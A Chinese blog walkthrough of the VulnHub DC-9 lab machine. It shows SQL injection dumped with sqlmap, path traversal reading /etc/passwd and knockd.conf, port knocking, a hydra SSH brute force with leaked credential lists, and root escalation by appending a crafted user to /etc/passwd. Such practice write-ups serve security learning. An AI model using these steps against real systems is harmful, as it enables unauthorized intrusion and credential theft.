📒博客主页:开心星人的博客主页
🔥系列专栏:vulnhub
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年7月15日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
靶机为桥接模式,设置kali为桥接模式
主机发现arp-scan -l
端口扫描nmap -p- -sV 192.168.1.104
80端口开放,22端口filtered(端口状态filtered:端口状态filtered由于报文无法到达指定的端口,nmap不能够决定端口的开放状态。)
访问80端口
用户信息页面
搜索页面
后台管理界面
搜索页面提示我们使用姓或名进行搜索,我们用用户信息界面的第一个用户进行尝试
搜索Mary
判断是否存在注入
Mary' and 1=1#
能查出来
Mary' and 1=2#
不能查出来
所以存在SQL注入漏洞
因为是POST传参的,所以我们想用bp抓个包,保存为1.txt,然后使用sqlmap的-r参数即可
这里使用另一种方法
用浏览器自带的抓包,查看参数的名称为search
,并且在result.php
使用sqlmap的–data参数即可
sqlmap -u "http://192.168.1.104/results.php" --dbs --data "search=1" --batch
//查数据库
sqlmap -u "http://192.168.1.104/results.php" -D users --tables --data "search=1" --batch
//查表
sqlmap -u "http://192.168.1.104/results.php" -D users -T UserDetails --columns --data "search=1" --batch
//查字段
sqlmap -u "http://192.168.1.104/results.php" -D users -T UserDetails -C "id,username,password" --dump --data "search=1" --batch
//导出数据
得到一些用户的账号的密码,貌似直接是明文
sqlmap -u "http://192.168.1.104/results.php" -D Staff --tables --data "search=1" --batch
//查Staff数据库
sqlmap -u "http://192.168.1.104/results.php" -D Staff -T StaffDetails --columns --data "search=1" --batch
//查字段
sqlmap -u "http://192.168.1.104/results.php" -D Staff -T StaffDetails -C "id,username,password" --dump --data "search=1" --batch
//查字段
看Users表
sqlmap -u "http://192.168.1.104/results.php" -D Staff -T Users --columns --data "search=1" --batch
//查字段
sqlmap -u "http://192.168.1.104/results.php" -D Staff -T Users -C "Username,Password" --dump --data "search=1" --batch
admin用户
密码为transorbital1
登录后台
显示文件不存在,可能存在文件包含漏洞
http://192.168.1.104/manage.php?file=../../../../etc/passwd
看到这些用户名,有我们刚才脱裤得到的
所以考虑ssh
但是ssh状态为filtered,可能是被防火墙过滤了
http://192.168.1.104/manage.php?file=../../../../etc/knockd.conf
查看配置文件
/etc/knockd.conf里的配置会导致ssh连接被拒绝,它通过动态的添加iptables规则来隐藏系统开启的服务。
使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
依次访问7469、8475、9842端口
nmap -p 7469 192.168.1.104
nmap -p 8475 192.168.1.104
nmap -p 9842 192.168.1.104
nmap -p 22 10.10.10.135
开了
用得到的账号和密码,使用hydra进行爆破
users.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
pass.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
hydra -L users.txt -P pass.txt 192.168.1.104 ssh
得到了三个用户
[22][ssh] host: 192.168.1.104 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.1.104 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.1.104 login: janitor password: Ilovepeepee
依次登录这三个用户,进行信息收集把
ssh chandlerb@192.168.1.104
ssh janitor@192.168.1.104
在janitor的加目录下发现一个字典,加入到我们的密码字典里面去,继续爆破ssh服务
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
更新一下pass.txt
再次用hydra爆破
多出一个用户
login:fredf password:B4-Tru3-001
直接登录
进行提权
sudo -l
有一个test,不需要密码
进入test目录,并尝试执行
提示需要test.py
在目录/opt/devstuff中找到了test.py
将第一个文件的内容写入第二个文件中
所以我们可以重写/etc/passwd ,添加一个root用户
使用openssl生成一个hashopenssl passwd -1 -salt coder 123456
$1$coder$FFj87UJt/aBpDjcIMTCtR1
echo 'coder:$1$coder$FFj87UJt/aBpDjcIMTCtR1:0:0:root:/bin/bash' >> /tmp/DC9
sudo python ./test.py /tmp/DC9 /etc/passwd
su coder
在root家目录下找到flag